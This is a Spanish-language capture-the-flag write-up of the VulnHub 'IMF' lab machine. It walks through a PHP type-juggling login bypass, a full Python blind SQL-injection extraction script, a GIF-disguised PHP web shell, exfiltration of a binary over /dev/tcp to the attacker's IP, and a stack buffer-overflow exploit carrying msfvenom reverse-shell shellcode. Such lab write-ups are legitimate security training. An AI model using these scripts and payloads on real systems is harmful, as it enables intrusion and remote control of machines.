VulnHub - IMF writeup
Recordad que esta es una máquina de VulnHub, tendremos que hacer un reconocimento en la red para poder saber cual es la IP.
Hoy aprenderemos a bypasear el login mediante una téctina llamada Type Juggling, abusaremos de un paŕametro vulnerable a SQL Injection Boolean based, gracias a esto descubriremos una nueva ruta, en la cual podremos subir un archivo GIF para ejecutar comandos.
En la escalada de privilegios nos aprovecharemos de un binario vulnerable a Buffer Overflow Stack Based x86.
índice
- Nmap, Fuzzing y Reconocimiento
- Type Juggling Login Bypass
- SQL Injection Boolean Based
- File Upload to RCE
- Buffer Overflow Stack Based Privilege Escalation
Nmap, Fuzzing y Reconocimiento
Para empezar, tendremos que hacer un reconocimiento en la red para saber cual es la IP, usaremos la herramienta arp-scan.
arp-scan -I ens33 --localnet
Ahora que ya sabemos cual es nuestro objetivo, vamos a iniciar nuestro reconocimiento con nmap.
Puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.143 -oG nmap/Puertos.txt
Puertos.txt
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 192.168.1.143 () Status: Up
Host: 192.168.1.143 () Ports: 80/open/tcp//http/// Ignored State: filtered (65534)
# Nmap done at Sat Feb 4 16:47:54 2023 -- 1 IP address (1 host up) scanned in 26.58 seconds
Versión y servicios:
nmap -p80 -sVC 192.168.1.143 -oN nmap/VersionServicios.txt
VersionesServicios.txt
# Nmap 7.93 scan initiated Sat Feb 4 16:55:50 2023 as: nmap -p80 -sVC -oN nmap/VersionServicios.txt 192.168.1.143
Nmap scan report for 192.168.1.143 (192.168.1.143)
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 00:0C:29:43:4F:22 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 4 16:56:03 2023 -- 1 IP address (1 host up) scanned in 12.20 seconds
Página web
En la página web hay una sección de contacto en donde podremos ver una serie de usuarios los cuales nos vendrán vien para más tarde.
Cuando inspeccionamos el código fuente de la página principal, salta a la vista una serie de archivos JS que tienen un nombre raro con un formato parecido a base64.
$ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
$ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d
imfadministrator
Lo que nos devuelve es una ruta existente en la página web en la que podremos iniciar sesión.
http://192.168.1.143/imfadministrator
Type Juggling Login Bypass
La técnica que vamos a estar utilizando consiste en cambiar el tipo de variable que se envía, es decir:
username=admin&password=qwerty # password -> String
Contraseña incorrecta
username=admin&password[]=qwerty # password -> array
OK
Esto pasa en PHP cuando estamos utilizando la funcion trcmp() para comparar una String con un Array, la función nos devolverá NULL.
strcmp(array(), "qwerty") -> NULL
El código que valida las credenciales se tiene que ver algo como esto:
if (strcmp($_POST['password'], 'qwerty') == 0) {
// ...
}
$ echo Y29udGludWVUT2Ntcw== | base64 -d
continueTOcms
https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
SQL Injection Boolean Based
La url del CMS es http://192.168.1.143/imfadministrator/cms.php?pagename=home
Podemos pensar que se puede acontecer un LFI, RFI, etc… pero ya os adelanto que no conseguiréis nada.
Si probamos a meter una comilla veremos que causamos un error SQL.
http://192.168.1.143/imfadministrator/cms.php?pagename=home'
Cuando propbamos inyecciones como por ejemplo ' and 1=1'
' and 'a'='a
' and (select substring("ch3chu",1,1))="c"'
veremos esto:
http://192.168.1.143/imfadministrator/cms.php?pagename=home' and 1=1'
http://192.168.1.143/imfadministrator/cms.php?pagename=home' and (select substring("ch3chu",1,1))="c"'
Pero si le decimos que 1=2?
O si le decimos que la primera letra de la palabra “ch3chu” es una “j”?
http://192.168.1.143/imfadministrator/cms.php?pagename=home' and 1=2'
http://192.168.1.143/imfadministrator/cms.php?pagename=home' and (select substring("ch3chu",1,1))="j"'
Como 1=2 es falso y la primera letra no es “j”, no nos esta reportando nada en la página, esto me hace pensar que estamos ante Blind SQLI.
Me he programado un script en python3 para automatizarme la extraccion de los datos:
#!/usr/bin/python3
from pwn import *
import signal, sys, requests, time, string
# Uso
if len(sys.argv) != 2:
print("\n[+] uso:\n\n\t" + sys.argv[0] + " ip\n")
sys.exit(1)
# Variables
ip = sys.argv[1]
url = "http://" + str(ip) + "/imfadministrator/"
username = "rmichaels"
chars = string.printable
# CTRL + C
def defHandler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
signal.signal(signal.SIGINT, defHandler)
# SQL Injection Boolean Blind Based
# http://192.168.1.143/imfadministrator/cms.php?pagename=home' and (select substring("ch3chu",1,1))="c"'
def sqli():
databases = ''
db = 'admin'
tables = ''
tbl = 'pages'
columns = ''
cols = 'id,0x3a,pagename' # id:pagename
data = ''
s = requests.session()
# Login
pdata = {
'user': username,
'pass[]': 'qwerty'
}
s.post(url, data=pdata)
p = log.progress("SQL injection boolean blind based")
# SQLI
# Databases
#
# for i in range(1, 150):
# for char in chars:
# sqlUrl = url + f"""cms.php?pagename=home' and (select substring(group_concat(schema_name),{i},1) from information_schema.schemata)="{char}" '"""
# http://127.0.0.1:8080 --> Burp
# r = s.get(sqlUrl, proxies={'http': 'http://127.0.0.1:8080'})
# if 'Welcome' in r.text:
# databases += char
# p.status(databases)
# break
#
# Tables
#
# for i in range(1, 150):
# for char in chars:
# sqlUrl = url + f"""cms.php?pagename=home' and (select substring(group_concat(table_name),{i},1) from information_schema.tables where table_schema="{db}")="{char}" '"""
# # http://127.0.0.1:8080 --> Burp
# r = s.get(sqlUrl, proxies={'http': 'http://127.0.0.1:8080'})
# if 'Welcome' in r.text:
# tables += char
# p.status(tables)
# break
#
# Columns
#
# for i in range(1, 150):
# for char in chars:
# sqlUrl = url + f"""cms.php?pagename=home' and (select substring(group_concat(column_name),{i},1) from information_schema.columns where table_schema="{db}" and table_name="{tbl}")="{char}" '"""
# # http://127.0.0.1:8080 --> Burp
# r = s.get(sqlUrl, proxies={'http': 'http://127.0.0.1:8080'})
# if 'Welcome' in r.text:
# columns += char
# p.status(columns)
# break
#
# Data
for i in range(1, 150):
for char in chars:
sqlUrl = url + f"""cms.php?pagename=home' and (select substring(group_concat({cols}),{i},1) from {db}.{tbl})="{char}" '"""
# http://127.0.0.1:8080 --> Burp
r = s.get(sqlUrl, proxies={'http': 'http://127.0.0.1:8080'})
if 'Welcome' in r.text:
data += char
p.status(data)
break
# Main
if __name__ == '__main__':
sqli()
Cuando terminamos con la extracción de datos vemos que hay una nueva página tutorials-inclomplete la cual no veíamos antes.
http://192.168.1.143/imfadministrator/cms.php?pagename=tutorials-incomplete
En esta página encontramos una foto con un QR.
$ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d
uploadr942.php
File Upload to RCE
http://192.168.1.143/imfadministrator/uploadr942.php
Al subir una imagen cualquiera vemos en la respuesta que hay un comentario, el cual parece ser el nombre del archivo sin la extensión. Si vamos a la ruta uploads/nombre_del_archivo.png
veremos la foto que hemos subido.
http://192.168.1.143/imfadministrator/uploads/4edf6733684e.png
Nuestro objetivo es intentar subir código en PHP y que nos lo interprete, para eso podemos crear un archivo GIF para burlar las restricciones que contenga código en php.
reverse.gif
GIF8;
<?php
$command=$_GET['cmd']; echo `$command`;
?>
Subimos el archivo, vemos el nombre del archivo en el comentario y vamos a la ruta. Tenemos ejecución remota de comandos.
Buffer Overflow Stack Based Privilege Escalation
Al enumerar el sistema encontraremos que por el puerto 7788 esta corriendo un programa llamado agent el cual reside en la ruta /usr/local/bin/
.
Decidí traerme el binario a mi máquina local para poder analizarlo más comodamente.
cat < /usr/local/bin/agent > /dev/tcp/192.168.1.131/443
Cuando ejecutamos el programa nos pide un ID el cual no conocemos pero con la herramienta ltrace
podemos saber el ID.
Cuando iniciamos sesión podemos hacer 4 cosas:
- Extraction Points
- Request Extraction
- Submit Report
- Exit
Para agilizar os adelanto que el campo vulnerable es el 3, donde si ponemos muchas “a” generamos un segmentation fault confirmando que hay un buffer overlow.
Voy a estar utilizando gbd con gef (https://github.com/hugsy/gef) como debugger.
Lo que vamos a hacer en primer lugar es ver las protecciones que tiene el binario (x86):
Vemos que no tiene casi protecciones, lo cual nos facilita mucho la explotación del buffer overflow. Como el NX no está habilitado podemos insertar shellcode en la pila para que cuando tomemos control del registro eip
apuntar a una dirección de memoria que nos ejecute un call eax
y así nuestro shellcode será ejecutado.
Calculando el offset
GEF viene con los comandos pettern create
y pattern offset
que nos facilitan calcular con cuántos caracteres ocasionamos el buffer overflow.
Esto quiere decir que si añadimos mas de 168 caracteres ocasionaremos un buffer overflow y sobreescribiremos registros.
Controlando eip
Ahora que sabemos el offset (168) podemos controlar el eip:
python3 -c "print('A'*168 + 'B'*6)"
Ahora eip vale 0x42424242 o BBBB
Dirección de memoria (call eax)
Teniendo en cuenta que FF D0
es el operation code de call eax
podemos buscar una dirección de memoria con objdump
Creando shellcode con msfvenom
Ahora lo que necesitamos es un shell code que nos envie un reverse shell a nuestro equipo, yo me voy a poner a la escucha por el puerto 4444.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.131 LPORT=4444 -f python -b "\x00\x0a\x0d"
Ya tenemos todo para escalar privilegios, ahora solo hay que hacer un pequeño script en python3 que nos ejecute el buffer overflow:
#!/usr/bin/python3
import socket
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.131 LPORT=4444 -f python -b "\x00\x0a\x0d"
buf = b""
buf += b"\xbf\x9e\x51\x1a\x09\xda\xda\xd9\x74\x24\xf4\x58"
buf += b"\x33\xc9\xb1\x12\x83\xe8\xfc\x31\x78\x0e\x03\xe6"
buf += b"\x5f\xf8\xfc\x27\xbb\x0b\x1d\x14\x78\xa7\x88\x98"
buf += b"\xf7\xa6\xfd\xfa\xca\xa9\x6d\x5b\x65\x96\x5c\xdb"
buf += b"\xcc\x90\xa7\xb3\x0e\xca\x59\xc0\xe7\x09\x5a\xd7"
buf += b"\xab\x84\xbb\x67\x35\xc7\x6a\xd4\x09\xe4\x05\x3b"
buf += b"\xa0\x6b\x47\xd3\x55\x43\x1b\x4b\xc2\xb4\xf4\xe9"
buf += b"\x7b\x42\xe9\xbf\x28\xdd\x0f\x8f\xc4\x10\x4f"
buf += b'\x90' * (168 - len(buf)) # NOP (No Operation Code)
buf += b'\x63\x85\x04\x08' # call eax
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 7788))
s.send(b"48093572\n")
s.recv(1024)
s.send(b"3\n")
s.recv(1024)
s.send(buf + b'\n')